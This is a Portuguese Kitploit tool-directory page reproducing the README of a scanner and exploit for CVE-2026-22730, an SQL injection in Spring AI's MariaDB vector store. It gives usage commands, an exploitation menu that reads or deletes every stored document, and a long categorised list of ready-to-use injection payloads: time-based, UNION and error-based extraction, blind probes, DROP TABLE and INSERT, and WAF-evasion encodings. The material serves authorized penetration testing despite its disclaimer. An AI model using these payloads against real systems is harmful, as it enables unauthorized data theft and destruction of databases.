Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-22730-Scanner — Scanner e ferramenta de exploração para CVE-2026-22730, uma injeção de SQL no armazenamento vetorial MariaDB do Spring AI. Suporta detecção baseada em tempo, métodos GET/POST e exploração com relatórios. | Kitploit
Ferramentas/GitHubGitHub/null200ok/cve-2026-22730-scanner
Scanners de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubnull200ok/cve-2026-22730-scanner

CVE-2026-22730-Scanner

Scanner e ferramenta de exploração para CVE-2026-22730, uma injeção de SQL no armazenamento vetorial MariaDB do Spring AI. Suporta detecção baseada em tempo, métodos GET/POST e exploração com relatórios.

Ver Repositório
2há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Scanner e Exploit CVE-2026-22730 – Injeção SQL no Vector Store MariaDB do Spring AI

Python Version
License
Status

Uma ferramenta profissional de avaliação de segurança para CVE-2026-22730 – uma vulnerabilidade crítica de injeção SQL descoberta no vector store MariaDB do Spring AI. Esta ferramenta permite que testadores de penetração autorizados e pesquisadores de segurança detectem e explorem com segurança a vulnerabilidade para fins educacionais ou defensivos.

📖 Visão Geral

O CVE-2026-22730 afeta as versões do Spring AI 1.0.x < 1.0.4 e 1.1.x < 1.1.3 ao usar o vector store MariaDB. Devido ao escape inadequado de valores de string em expressões de filtro, um atacante pode injetar SQL arbitrário por meio de parâmetros controlados pelo usuário (por exemplo, filtros de metadados). Isso pode levar a:

Recuperação não autorizada de dados – contornando controles de acesso baseados em metadados

Exclusão completa do banco de dados – apagando todo o vector store (destrutivo)

Vazamento silencioso de dados – em pipelines RAG, dados vazados são incorporados às respostas do LLM sem detecção

Esta ferramenta fornece um método seguro e configurável para verificar a presença da vulnerabilidade e demonstrar seu impacto (com consentimento explícito) durante avaliações de segurança autorizadas.

🚀 Recursos

✅ Detecção baseada em tempo – usa injeção SLEEP() para confirmar a vulnerabilidade

✅ Múltiplos métodos HTTP – suporta GET (parâmetros de consulta) e POST (corpo JSON)

✅ Duração de sleep personalizável – ajuste para latência de rede ou requisitos de furtividade

✅ Opções de exploração – recuperar todos os documentos (SELECT) ou excluir todos (DELETE)

✅ Relatórios abrangentes – gera relatórios em HTML, JSON e texto simples

✅ CLI amigável – modo interativo e argumentos completos de linha de comando

✅ Sistema de payload extensível – integre facilmente strings de injeção personalizadas

📋 Requisitos

Python 3.6 ou superior

Biblioteca requests (pip install requests)

🔧 Instalação

bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git

cd cve-2026-22730-scanner

📖 Uso

O script pode ser executado em modo interativo ou com argumentos de linha de comando.

Sintaxe Básica

bash

python cve-2026-22730_scanner.py [opções]

Opções

Opção Descrição

--url URL alvo (ex.: http://localhost:8081/api/docs)

--method Método HTTP: GET ou POST (padrão: GET)

--param Nome do parâmetro de consulta para GET, ou nome de referência para POST (opcional)

--json-template Modelo JSON com o espaço reservado PAYLOAD (obrigatório para POST)

--baseline Valor benigno para a solicitação de linha de base (padrão: inexistente)

--sleep Segundos de sleep para detecção baseada em tempo (padrão: 5)

Exemplos

  1. Solicitação GET (parâmetro de consulta)

bash

python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"

  1. Solicitação POST com corpo JSON

bash

python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'

  1. Tempo de sleep e linha de base personalizados

bash

python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"

  1. Modo interativo

bash

python cve-2026-22730_scanner.py

Você será solicitado a informar URL, método, parâmetro/modelo JSON, linha de base e tempo de sleep.

Fluxo de Exploração

Se o alvo for considerado vulnerável, o script apresenta um menu:

text

[?] O alvo está vulnerável. Escolha a opção de exploração:

root@kitploit:~
1. Recuperar todos os documentos (injeção SELECT)

2. Excluir todos os documentos (injeção DELETE) - DESTRUTIVO

3. Pular exploração

A opção 1 envia ' OR '1'='1 para recuperar todas as linhas (não destrutivo, apenas lê dados).

A opção 2 envia o mesmo payload usando o método HTTP DELETE – remove permanentemente todos os registros. Requer confirmação explícita.

Todas as ações são registradas e incluídas no relatório final.

📁 Arquivos de Saída

Após cada execução, três arquivos com carimbo de data/hora são criados no diretório atual:

cve-2026-22730_YYYYMMDD_HHMMSS.json – relatório JSON legível por máquina com todos os detalhes.

cve-2026-22730_YYYYMMDD_HHMMSS.txt – resumo em texto simples, incluindo dados de exploração, se houver.

cve-2026-22730_YYYYMMDD_HHMMSS.html – relatório HTML formatado, adequado para compartilhamento ou arquivamento.

⚠️ Aviso Importante

Esta ferramenta destina-se exclusivamente a testes de segurança autorizados e fins educacionais.

O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal e antiético.

O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por este software.

Sempre obtenha permissão por escrito antes de escanear ou explorar qualquer alvo.

📚 Referências

GitHub Security Advisory GHSA‑c267‑rfvc‑mvpm

Spring Security Advisory AV26‑245

Artigo de Pesquisa Original por SecureLayer7

🤝 Contribuições

Pull requests, relatórios de bugs e sugestões de recursos são bem-vindos. Abra uma issue primeiro para discutir mudanças importantes.

📄 Licença

Este projeto está licenciado sob a Licença MIT – consulte o arquivo LICENSE para obter detalhes.

Desenvolvido com ❤️ por Nabeel

Exemplo Para PYLOAD

Para a comunidade de segurança

📌 Como Usar Estes Payloads

No script, ao usar POST com --json-template, substitua PAYLOAD por qualquer payload da lista abaixo.

Para solicitações GET, basta passar o payload como valor do parâmetro (o script lida com a codificação de URL automaticamente).

🔥 Categorias de Payload

  1. Detecção / Baseado em Tempo

Estes causam um atraso se a injeção for bem-sucedida. Use-os para confirmar a vulnerabilidade.

Payload Descrição

' OR SLEEP(5) -- Payload padrão baseado em tempo. Se a consulta pausar por ~5 segundos, a injeção funciona.

' OR BENCHMARK(10000000,MD5('a')) -- Alternativa para MySQL/MariaDB (BENCHMARK).

' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- Sleep aninhado para contornar alguns filtros.

' OR 1=1 AND SLEEP(5) -- Combina condição sempre verdadeira com sleep.

  1. Bypass de Autenticação / Recuperar Todas as Linhas

Estes tornam a cláusula WHERE sempre verdadeira, retornando todos os registros.

Payload Descrição

' OR '1'='1 Injeção clássica sempre verdadeira.

' OR 1=1 -- Outra variante (requer um espaço após --).

' OR ''=' Baseia-se na comparação de string vazia.

' OR 1=1# Usa # para comentário no MariaDB (codificado em URL como %23).

' OR 1=1 LIMIT 1 -- Retorna apenas uma linha (útil para saída controlada)

  1. Extração de Dados Baseada em UNION

Útil quando o aplicativo exibe resultados. Você precisa corresponder ao número de colunas.

Payload Descrição

' UNION SELECT NULL, database(), user(), version() -- Recupera nome do banco de dados, usuário, versão. (Ajuste a contagem de NULL para corresponder às colunas.)

' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- Lista tabelas.

' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- Lista colunas.

' UNION SELECT 1, content, metadata FROM vector_store -- Despeja dados reais (se a contagem de colunas corresponder).

  1. Extração Baseada em Erro

Dispara erros que vazam informações.

Payload Descrição

' AND extractvalue(1, concat(0x7e, database())) -- Baseado em erro MariaDB/MySQL.

' AND updatexml(1, concat(0x7e, version()), 1) -- Outro método de erro.

' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- Erro de chave duplicada.

  1. Baseado em Booleano (Cego)

Útil quando nenhuma saída ou erro é exibido, mas o comportamento do aplicativo muda.

Payload Descrição

' AND (SELECT ascii(substring(database(),1,1))) > 64 -- Verifica o primeiro caractere do nome do banco de dados.

' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- Verifica o número de tabelas.

' OR (SELECT 1 FROM users LIMIT 1) = 1 -- Testa a existência de uma tabela.

  1. Operações de Gravação / Exclusão

Payloads destrutivos (use com extrema cautela).

Payload Descrição

' OR '1'='1 Quando usado com DELETE, remove todas as linhas.

' OR 1=1; DROP TABLE vector_store -- Tenta eliminar a tabela inteira (requer consultas empilhadas, geralmente desabilitadas).

' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- Tenta inserir novos dados.

  1. Bypass de Filtros / WAF

Versões ofuscadas para evadir correspondência de padrões simples.

Payload Descrição

%27%20OR%20SLEEP(5)%20-- Codificado em URL (o script lida com isso automaticamente).

' //OR//SLEEP(5)/**/-- Comentários inline para dividir palavras-chave.

' OR 0x273d27=0x273d27 -- Comparação codificada em hexadecimal ('=').

' OR 1=1 /!50000SLEEP(5)/ -- Comentário específico de versão do MySQL.

  1. Payloads Específicos do Aviso CVE

Payload Descrição

' OR '1'='1 Usado para recuperar todos os documentos (prova de conceito).

' OR SLEEP(5) -- Payload de detecção baseado em tempo usado no scanner.

' OR '1'='1 Também usado para a injeção DELETE.

📝 Exemplos de Modelos JSON com Payload

json

{"department": "' OR SLEEP(5) --"}

{"department": "' OR '1'='1"}

{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}

No script, você passaria o modelo como:

bash

--json-template '{"department": "PAYLOAD"}'

O script substituirá PAYLOAD pelo payload real.

NOTA sobre URL

O script requer a URL completa do endpoint que aceita o parâmetro vulnerável. Por exemplo:

✅ http://example.com/api/docs – se o endpoint for /api/docs

✅ http://example.com/search – se o endpoint for /search

❌ http://example.com – não é suficiente, o script precisa do caminho exato

Baixar ferramenta